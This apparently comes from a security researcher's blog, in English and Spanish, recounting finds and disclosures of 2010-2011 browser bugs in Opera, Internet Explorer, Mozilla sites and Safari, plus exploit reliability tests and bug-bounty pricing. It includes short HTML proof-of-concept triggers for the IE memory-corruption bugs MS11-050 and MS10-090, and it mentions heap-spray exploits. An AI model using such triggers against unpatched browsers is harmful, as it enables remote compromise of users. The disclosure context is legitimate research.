:::SPAS3C-SV-004:::FINAL DISCLOSURE AND RELIABILITY TESTS (SSD-1010101 / PART-II)

I have taken a while and been trying to improve this one, unsuccess. But, I would like to thank to sinn3r and the rest of metasploit members who have tried to get a more reliable exploit. The poc is unstable and the crash is variable. Also I could not lead to more stable/reliable crashes. Anyway, I cannot discard the possibility of DEP bypass. Under some versions, it could be possible (controllable EAX to pivot) but unreliable/unstable. Give me a feedback if you get a poc that improves these issues :)

So far, the final result is not as nice as I wanted. Since I could not publish my ms10-090 exploit, you know, someone discovered before I could publish :) I am glad to get released this one and probably it does not come alone.

Here goes the reliability tests (click to see correctly):

Fig. 1: Reliability table.

It is important to notice that most of versions will not work at first attempt. Although it is possible and I have seen it: The crash-dialog helps here and the table above is based on it.

Crash-dialog options:

1. Restart-speech-dial -> close opera.exe -> open opera.exe -> go to url of exploit.
   
2. Restart and reopen all tabs.
3. Do not restart -> open opera.exe.

Tests features:

• Master Box: Windows 7 Ultimate with SP1 (English) (fully updated)
• VM engine: Virtual Box
• Virtual boxes: Windows XP Professional with SP3 (English) (fully updated) x 15
• Opera: Clean installations with configuration by default
• Browser cache: It's not cleaned
• Number of attempts: 100
• Number of OS restarts: 5
  
• Number of url-exploit changes: 10

Notes:

• I have noticed that the reliability changes when the box is restart. So it is very possible that you will get another results.
  
• This exploit was coded when the stable release was v10.61 At that time, my best results was got with v10.62 and v10.61 (not clean installation: v10.6-> v10.61)
  

Finally, the msf module here and here

:::SPAS3C-SV-005:::IE8/9 USE-AFTER-FREE VULNERABILITY POC (ZDI-11-194/MS11-050/CVE-2011-1260)

Just the poc for my (and not only my finding) last IE (use-after-free) vulnerability:

<STYLE>
object{
float: left;
}
</STYLE>
<acronym>
hggssssssssssssssssssssssssddddddddddddddddddddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddd
</acronym>
<object>
head
</object>
<col>
ccc
</col>
<div style = 'layout-grid-char: 35735636357357354ex;'>
aaaaaa
</div>

You will find an awesome work, exploit, even new targets (IE6/IE7) in d0c_s4vage's blog.

More references:

• Microsoft advisory

• ZDI advisory

:::SPAS3C-SV-004:::OPERA BROWSER < 11.11 FRAMESET MEMORY CORRUPTION VULNERABILITY (SSD-1010101 / PART-I)

Voy a escribir este post en español porque llevo mucho tiempo sin hacerlo y de todas formas en inglés tampoco me explico demasiado bien.

En primer lugar, algunas aclaraciones sobre la vulnerabilidad/exploit:

• Esta vulnerabilidad la encontré hace ya tiempo, si mal no recuerdo a finales de Septiembre de 2010 y fue mi segundo exploit, por lo que no era muy elaborado, un heap spray y cruzar los dedos para que se cayera en esta zona. Lo bueno de la versión en la que lo encontré, es que a pesar del carácter aleatorio de la vulnerabilidad se podía sacar buen provecho de una forma reliable (ver advisory para más detalles). En concreto la versión de Opera por aquél entonces era la v10.61, posteriormente, este exploit ha ido perdiendo fiabilidad conforme han ido pasando las versiones hasta convertirse en un DoS, aún explotable pero realmente poco reliable. El caso es que he estado varios días dándole vueltas al poc, buscando en primer lugar un forma controlada de disparar la vuln y al mismo tiempo, reliable.

• Dejar claro que parece que tanto Opera, como el resto de fuentes que se han hecho eco de la vulnerabilidad, en algunos casos no están en disposición de testear la vuln (por un lado) y en otros casos (como Opera) no parecen hacerlo: La vulnerabilidad afecta a Opera v10.xx y Opera v11.xx (<11.11).
  

• Y es más (esto explica porque no voy a dar detalles de PoCs y exploits, más allá de un vídeo y un pequeño informe): La vulnerabilidad se dispara con éxito en Opera Mobile v11.x y Opera Mobile v10.x. Ahora bien, no sé si hasta el punto de conseguir explotabilidad o no, lo que sí puedo asegurar (tras hacer algo de debugging usando un Nokia N8, Symbian^3 y con carbide.c++ / IDA) es que quizás pueda ser explotable, me explico, mis conocimientos en debugging ARM y explotabilidad no van más allá de éste, como primer caso. Dicho esto, tras disparar varias veces la vuln en Opera Mobile, he visto que el PC (Program Counter) se carga con valores bajos (0x00000134, 0x00000130, etc) , lo cual es comúnmente poco explotable, pero a veces, he visto crashes en (0x006xxxxx, 0x005xxxxx), lo cual corresponde a zonas del heap y stack, es por ello, que no descarto la posibilidad de explotación en esta arquitectura. Es más, en su momento y aunque no tenía la posilidad de testear el poc, porque no tenía ningún smartphone, sólo pude hacer algunas pruebas usando el emulador de Windows Mobile y también resultó vulnerable. Lo que sí conseguí es tener un exploit en Opera Mobile Emulator for Windows. Sin embargo, y ante la posilibilidad de analizarlo en un entorno real, la explotación móvil quedó (y parece ser que aún queda) en el olvido. De todas formas, no es más que una posibilidad que trataré de comprobar.
  

• La explotación bajo sistemas con hw DEP y ASLR (> Windows Vista SP0) es poco probable debido fundamentalmente al carácter aleatorio de la vulnerabilidad y la dificultad de construir un ROP exploit. Por el mismo motivo, la explotación en cada versión de Opera es más o menos reliable.

• Otras plataformas donde se ha testeado con éxito la vulnerabilidad son: MacOS X Snow Leopard y Ubuntu (GNU/Linux). Además de las versiones de Windows: XP, Vista y 7.
  

Reformando el exploit...

En mi lab, preparé una máquina virtual con Windows XP SP3 (full updated) y con /nx=alwayson (DEP soft on). Tomé la última versión vulnerable, en concreto, v11.10 y a empezar... Como dije anteriormente, este exploit era bastante reliable en v10.62 pero en v11.10 era muy poco explotable. En primer lugar, encontré la forma de disparar la vulnerabilidad de forma controlada y finalmente ajuste el spray para conseguir la máxima fiabilidad. Así pues el exploit consta de dos etapas, una primera donde se hace el heap spray y en otra, se dispara la vulnerabilidad.

Este exploit no he llegado a testearlo en más versiones, pero el exploit anterior, lo testeé en numerosos entornos desde v10.00 hasta v11.10 y todos consiguieron RCE al menos una vez (alguno más reliable que otro). Por tanto, con un poco de trabajo podría convertirse en un exploit con una cobertura bastante amplia.

Así pues, y cómo más vale prevenir que curar, de momento no haré publica más información que ésta:

• Un video donde se puede ver la explotación con éxito y reliable (80-90%) en v11.10.

• El advisory (en inglés), con algunas modificaciones desde su envío a SSD (sobretodo correcciones de idioma). Probablemente, haya dejado demasiada información a la vista pero obtener el poc es más complejo que fuzzear el tag frameset, al menos eso parece xD
  

Actualización: SecuriTeam reconoce haber notificado el tema móvil a los desarrolladores de Opera que descartan tener un update cercano, sin embargo no descartan parchear algún que otro asunto más ;)

Referencias:

• Advisory de Opera

• SecuriTeam Secure Disclosure program

:::SPAS3C-WV-006:::Multiple Vulnerabilities in Mozilla Sites

This is old stuff, which i should have posted before, discovered in Mozilla websites several weeks ago:

• bugzilla.mozilla.org: CSRF (saved searches).
  
• creative.mozilla.org: CSRF (user profile).
  
• developer.mozilla.org: Plain text password disclosure.

I will provide some details about them.

1. CSRF (saved searches) in bugzilla.mozilla.org

PoC: http://pastebin.com/63H2YtMd

Sec-Severity: Low/Medium

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0046

Description: Saved searches for bugzilla user's panel are not protected against CSRF attacks and it could be used to add bullshit.

This vulnerability affects to Bugzilla (bug tracking system of mozilla foundation) <= 3.2.9, 3.4.9, 3.6.3, and 4.0rc1
Reference: http://www.bugzilla.org/security/3.2.9/

Screenshot:

Fig.1: Launching the CSRF exploit

Fig.2: Exploit executed succesfully

2. CSRF (user profile) in creative.mozilla.org

PoC: http://pastebin.com/0r1MyvVv

Sec-Severity: Critical

CVE: N/A

Description: User profile could be changed using a CSRF attack.

Screenshot:

Fig.3: CSRF (user profile) in create.mozilla.org

3. Plain text password disclosure in developer.mozilla.org

PoC: Register to developer.mozilla.org and then, come back to check your mail. This site sent your password in plain text.

Sec-Severity: High

CVE: N/A

Description: MDC sent your password in plain text.

Screenshot:

Fig.4: Plain text password disclosure

And yep, my MDC password contains an "e".

On the other hand, Mozilla security team solves these issues quickly.
That's all. Be safe ;)

:::SPAS3C-SV-003:::INTERNET EXPLORER 6/7/8 MEMORY CORRUPTION VULNERABILITY (CVE-2010-3962/ MS10-090)

At last, I can talk about a vulnerability which was publicly known because it was being exploited in the wild. Today I would have liked to disclose my exploit, but it (including a metasploit module) is available one month ago, so i cannot give more information, just my experience and a repository of interesting links about it.

• Description:

This one was very nice to find it. Someone talked about a smart vuln, because it only needed one line of HTML code to trigger it, one html tag and two different styles. But when I found, about five months ago, I discovered it using this poc:

----------------------------------------poc.html------------------------------------------------

<table style = 'position: absolute;clip: rect(5px, 55px, 45px, 5px);' > <hr />

----------------------------------------poc.html------------------------------------------------

The reason is that my fuzzer always tries to get a correct HTML code and applies fuzzing on some styles, properties, etc.

On late of June, my fuzzer gets a working poc triggering the vuln. I was very newbie on exploiting but I noticed that it could be easily exploited. I sent it on iDefense and they confirmed the vulnerability on early of July.

On September, I had learnt something on exploiting because I needed to sell other stuff and this buyer needed working exploits, so when the other job was finished, I thought that it would be interesting to use my new knowledge as exploit writer, so I did my own exploits and it was very simple using heap spraying. I stored all until today, but it would be silly to release when there is many information and exploits about this issue.

Finally, this is my history about CVE-2010-3962 or MS10-090. I have to admit that this vuln has taught me to have more experience as bug hunter. It was very nice, easy for finding (so easy for losing) and it was alive from version 6.

Good bye 0day, I always will remember you :_(

• Links (interesting stuff):

MS10-090 (Microsoft Security Bulletin)

Advisory from iDefense

CVE-ID: CVE-2010-3962

PoC from exploit-db

Exploit from metasploit

Nice description of vulnerability

Exploiting in the wild

Interesting post about restoring after explotation

Be safe ;)

Uncoordinated disclosure or bad credits…? Rethinking my own disclosure’s policy

Disclaimer: This is only my personal opinion based on logical assumptions, following the timeline while I was trying to publish my researching. I won’t provide any information about contacts, names, etc.

When I posted this, I really thought that this issue was fixed, so why do I get credits again (from yesterday's update)?

Issue was found using fuzzing on Google Chrome. In early August, Chrome Security Team got fixed releasing Google Chrome 5.0.375.125, but I knew that issue was affecting to Webkit (and nightly builds), so I had to wait before make my own disclosure (Safari also was affected). In late August, Apple Security Team contacted me (I suppose that Chrome Security Team provided my contact information) and they would fix the issue on September and like to know how to credit me on Apple Security Update Site, so I provided my usual information as “Jose A. Vazquez of spa-s3c…” and I waited for the Security Update. On 7th September Apple updated Safari to 5.0.2/4.1.2 and I thought that this would be my hoped update, but when I checked it, I noticed that they didn’t fix my issue…? Next day, they published another update on iOS and they gave me credits…? So I contacted again and asked them, they confirmed that it was the fix which I was waiting. I tested again the PoC and it still worked, but as I was (and am yet) a beginner, I thought that it probably would be the Null ptr dereference. Wtf?! Apple confirmed that it was fixed. But my question is if it was fixed…Credits on same issue? Fixed issue?

Responses probably would be these:

1. Failure (Apple) on Credits (unlikely).
2. Failure (Apple and me) on coordinated disclosure.

I’ve downloaded current release (5.0.3) and tested the issue again and it hasn't worked, not crash and not Null ptr.

In short, this smells like an uncoordinated disclosure, they fixed the issue on iOS but it still was alive on Safari for MacOS, Windows, etc. Assuming the latter case (uncoordinated disclosure) I have a new question about large temporal differences on using fixed code in stable releases (having a third party as common denominator).

Clearly, I tried to make a responsible and coordinated disclosure but finally, I made a bullshit... My failure or Apple failure? Each one draw their own conclusions.

Be safe ;)

Firefox vs Thunderbird...¿y qué pasa con Seamonkey?

Mucho tiempo sin postear nada nuevo y menos en español. Por eso he decido escribir esta entrada sobre algo que me ha llamado notablemente la atención y para lo que he pedido una explicación, sin resultado por el momento.

Como "contributor" de idefense, me ha llegado un correo un tanto peculiar sobre una bonificación válida hasta finales de año y por la cual se ofrecen las siguientes ofertas:

"The total dollar value of prizes we're giving away is $70,000, and bonus quantities and values are broken down into the following categories:

• 8 awards: Internet Explorer, Outlook, Thunderbird: ($6000 Bonus)

• 4 awards: Firefox, Flash, Silverlight, Windows Media Player: ($4000 Bonus)

• 2 awards: Java, Adobe Reader, Office 2007/2010 ($3000 Bonus)

The program will be going on until December 31st, 2010 or whenever all the prizes are given away, whichever comes first. We hope to hear from you soon, good luck!"

El mensaje parece claro, se ofrecen bonificaciones por una cuantía total de 70000 USD, que se reparten en 8, 4 y 2 premios, respectivamente.

Lo que realmente me llama la atención no es que para Internet Explorer y Outlook se ofrecen las mismas cantidades, lo cual me parece lógico, hasta cierto punto, ya que habría que evaluar si una misma vulnerabilidad que es explotable en ambos se compraría por el doble, es decir, como IE + Outlook = $6000 + $6000, o sin embargo, cuenta como una, es decir, $6000.

Pero lo que realmente me llama la atención es la distinción en cuanto precios entre Firefox y Thunderbird, ambos de la casa Mozilla, lo cuál me lleva a la pregunta de ¿qué pasa con Seamokey?. ¡La cantidad entre uno y otro varía hasta $2000!

Parece lógico pensar que un mismo bug que afecte a IE, probablemente afecte también a Outlook (aunque no tiene por qué ser así, a mí por lo menos me ha sucedido), de igual forma, un mismo bug en Firefox probablemente sea reproducible a su vez en Thunderbird o Seamonkey. Por propia experiencia, aunque sólo he encontrado/cazado un bug (null pointer) en Mozilla (y pude reproducirlo en Firefox y Seamonkey).

Entonces dado el caso expuesto, un mismo bug afectando a los 3 productos, parece bastante absurdo venderlo como un bug en Firefox y perder $2000 (siempre y cuando sea explotable también en Thunderbird).

Es llamativa esta distinción de precios entre productos de la misma casa, cuando probablemente exista mayor número de usuarios que utilicen el navegador Firefox y sin embargo no hagan uso del gestor de correo Thunderbird. Así pues, la cuota de mercado no será la causa de esta distinción (Ver cuotas de mercado en clientes de correo: aqui y aqui y las cuotas de mercado en navegadores aqui). Entonces, ¿cuál es?

Be safe ;)